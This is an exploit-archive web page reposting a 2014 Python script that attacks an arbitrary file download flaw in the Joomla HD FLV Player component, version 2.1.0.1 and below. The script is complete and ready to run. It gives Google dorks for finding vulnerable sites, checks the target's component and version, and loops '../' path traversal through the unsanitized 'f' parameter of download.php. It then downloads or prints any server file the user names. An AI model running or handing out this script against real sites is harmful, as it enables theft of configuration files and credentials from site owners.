首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla HD FLV 2.1.0.1 Arbitrary File Download
来源:http://www.homelab.it 作者:Viviani 发布时间:2014-11-18  
#!/usr/bin/env python
#
# Exploit Title :  Joomla HD FLV 2.1.0.1 and below Arbitrary File Download Vulnerability
#
# Exploit Author : Claudio Viviani
#
# Vendor Homepage : http://www.hdflvplayer.net/
#
# Software Link : http://www.hdflvplayer.net/download_count.php?pid=5
#
# Dork google 1:  inurl:/component/hdflvplayer/
# Dork google 2:  inurl:com_hdflvplayer    
#
# Date : 2014-11-11
#
# Tested on : BackBox 3.x/4.x
#
# Info: 
#       Url: http://target/components/com_hdflvplayer/hdflvplayer/download.php?f=
#       The variable "f" is not sanitized.
#       Over 80.000 downloads (statistic reported on official site)
#
#
# Video Demo: http://youtu.be/QvBTKFLBQ20
#
#
# Http connection
import urllib, urllib2
# String manipulation
import re
# Time management
import time
# Args management
import optparse
# Error management
import sys

banner = """
        _______                      __           ___ ___ ______
       |   _   .-----.-----.--------|  .---.-.   |   Y   |   _  \\
       |___|   |  _  |  _  |        |  |  _  |   |.  1   |.  |   \\
       |.  |   |_____|_____|__|__|__|__|___._|   |.  _   |.  |    \\
       |:  1   |                                 |:  |   |:  1    /
       |::.. . |                                 |::.|:. |::.. . /
       `-------'                                 `--- ---`------'
        _______ ___     ___ ___     _______ __
       |   _   |   |   |   Y   |   |   _   |  .---.-.--.--.-----.----.
       |.  1___|.  |   |.  |   |   |.  1   |  |  _  |  |  |  -__|   _|
       |.  __) |.  |___|.  |   |   |.  ____|__|___._|___  |_____|__|
       |:  |   |:  1   |:  1   |   |:  |            |_____|
       |::.|   |::.. . |\:.. ./    |::.|
       `---'   `-------' `---'     `---'

                                         <= 2.1.0.1 4rb1tr4ry F1l3 D0wnl04d

                                Written by:

                              Claudio Viviani

                           http://www.homelab.it

                              info@homelab.it
                          homelabit@protonmail.ch

                      https://www.facebook.com/homelabit
                        https://twitter.com/homelabit
                      https://plus.google.com/+HomelabIt1/
            https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url


def checkcomponent(url,headers):

    try:
        req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php', None, headers)
        sys.stdout.write("\r[+] Searching HD FLV Extension...: FOUND")
        print("")
    except urllib2.HTTPError:
        sys.stdout.write("\r[+] Searching HD FLV Extension...: Not FOUND :(")
        sys.exit(1)
    except urllib2.URLError:
        print '[X] Connection Error'

def checkversion(url,headers):

    try:
        req = urllib2.Request(url+'/modules/mod_hdflvplayer/mod_hdflvplayer.xml', None, headers)
        response = urllib2.urlopen(req).readlines()

        for line_version in response:

            if not line_version.find("<version>") == -1:

                VER = re.compile('>(.*?)<').search(line_version).group(1)

                sys.stdout.write("\r[+] Checking Version: "+str(VER))
        print("")

    except urllib2.HTTPError:
       sys.stdout.write("\r[+] Checking Version: Unknown")

    except urllib2.URLError:
        print("\n[X] Connection Error")
        sys.exit(1)

def connection(url,headers,pathtrav):

    char = "../"
    bar = "#"
    s = ""
    barcount = ""

    for a in range(1,20):

        s += char
        barcount += bar
        sys.stdout.write("\r[+] Exploiting...please wait: "+barcount)
        sys.stdout.flush()

        try:
            req = urllib2.Request(url+'/components/com_hdflvplayer/hdflvplayer/download.php?f='+s+pathtrav, None, headers)
            response = urllib2.urlopen(req)

            content = response.read()

            if content != "" and not "failed to open stream" in content:
                print("\n[!] VULNERABLE")
                print("[*] 3v1l Url: "+url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav)
                print("")
                print("[+] Do you want [D]ownload or [R]ead the file?")
                print("[+]")
                sys.stdout.write("\r[+] Please respond with 'D' or 'R': ")

                download = set(['d'])
                read  = set(['r'])

                while True:
                    choice = raw_input().lower()
                    if choice in download:
                        filedown = pathtrav.split('/')[-1]
                        urllib.urlretrieve (url+"/components/com_hdflvplayer/hdflvplayer/download.php?f="+s+pathtrav, filedown)
                        print("[!] DOWNLOADED!")
                        print("[!] Check file: "+filedown)
                        return True
                    elif choice in read:
                        print("")
                        print content
                        return True
                    else:
                        sys.stdout.write("\r[X] Please respond with 'D' or 'R': ")

        except urllib2.HTTPError:
            #print '[X] HTTP Error'
            pass
        except urllib2.URLError:
            print '\n[X] Connection Error'

        time.sleep(1)
    print("\n[X] File not found or fixed component :(")

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('-f', '--file', action="store",
                  help="Insert file to check",
                  )
options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file:
    print(banner)
    commandList.print_help()
    sys.exit(1)

print(banner)

url = checkurl(options.target)
pathtrav = options.file

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

sys.stdout.write("\r[+] Searching HD FLV Extension...: ")
checkcomponent(url,headers)
sys.stdout.write("\r[+] Checking Version: ")
checkversion(url,headers)
sys.stdout.write("\r[+] Exploiting...please wait:")
connection(url,headers,pathtrav)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP 5.x - Bypass Disable Funct
·MantisBT XmlImportExport Plugi
·ZTE ZXHN H108L - Authenticatio
·Samsung Galaxy KNOX Android Br
·ZTE ZXHN H108L - Authenticatio
·Internet Explorer 8 - Fixed Co
·Safari 8.0 / OS X 10.10 - Cras
·MINIX 3.3.0 Denial Of Service
·ossec 2.8 Insecure Temporary F
·tcpdump 4.6.2 OSLR Denial Of S
·MS14-064 Microsoft Windows OLE
·tcpdump 4.6.2 Geonet Denial Of
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved